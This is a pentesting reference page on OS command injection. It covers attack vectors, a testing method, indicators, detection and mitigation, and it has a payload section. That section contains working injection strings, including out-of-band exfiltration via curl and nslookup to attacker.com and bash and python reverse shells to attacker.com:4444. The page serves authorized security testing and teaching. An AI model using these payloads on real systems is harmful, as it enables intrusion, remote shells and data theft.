OWASP Hunting
Injection

Command Injection

Command injection allows attackers to execute arbitrary operating system commands by injecting shell metacharacters into application inputs.

These payloads are for authorized testing only — systems you own, authorized bug bounty programs, or controlled lab environments. Unauthorized testing is illegal.

What it is

Command injection is a cyber attack that involves executing arbitrary commands on a host operating system via a vulnerable application. This vulnerability occurs when an application passes unsafe user-supplied data to a system shell. An attacker can use shell metacharacters to chain additional commands, redirect output, or establish reverse shells.

Attack Vectors

  • System administration interfaces
  • File upload functionality that processes files
  • Network diagnostic tools (ping, traceroute, nslookup)
  • Backup and restore functions
  • Image/PDF conversion services
  • Any feature that executes system commands with user input

Testing Methodology

  1. Inject command separators (;, &&, ||, |) followed by id or whoami
  2. Test with backtick and $() subshell syntax
  3. Use time-based detection: inject sleep 5 and measure response time
  4. Try out-of-band detection via ping to a controlled host or DNS lookup
  5. Attempt blind injection with output redirection to a web-accessible file

Payloads

Reference payloads for authorized testing. Always verify you have permission before use.

Separators
; id| id|| id&& id`id`$(id); whoami| whoami
Time-Based Blind
; sleep 5| sleep 5&& sleep 5$(sleep 5); ping -c 5 127.0.0.1
Out-of-Band
; curl http://attacker.com/$(id); nslookup $(whoami).attacker.com$(dig $(id).attacker.com)
Reverse Shell
; bash -i >& /dev/tcp/attacker.com/4444 0>&1; python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("attacker.com",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'
Windows Specific
& whoami| whoami& dir; powershell -command whoami

Indicators of Vulnerability

  • Command output embedded in HTTP response
  • Time delay matching sleep duration
  • DNS or HTTP request from server to controlled endpoint
  • Error messages referencing shell commands or /bin/sh

Detection Guidance

Monitor process creation events for unexpected child processes spawned by web server processes. Use EDR telemetry to detect shell executions. Implement WAF rules for common command injection metacharacters.

Mitigation & Remediation

  • Avoid calling OS commands from application code
  • If necessary, use safe APIs that don't invoke a shell
  • Strictly validate and allowlist user input before passing to shell functions
  • Run application processes with minimal OS privileges
  • Use seccomp or AppArmor to restrict system calls

References

Responsible Use

All content in this reference is for authorized security testing only. Use only on systems you own or have explicit written permission to test.

  • Systems and applications you own
  • Authorized penetration testing engagements
  • Bug bounty programs with defined scope
  • Educational lab environments (DVWA, WebGoat, HackTheBox)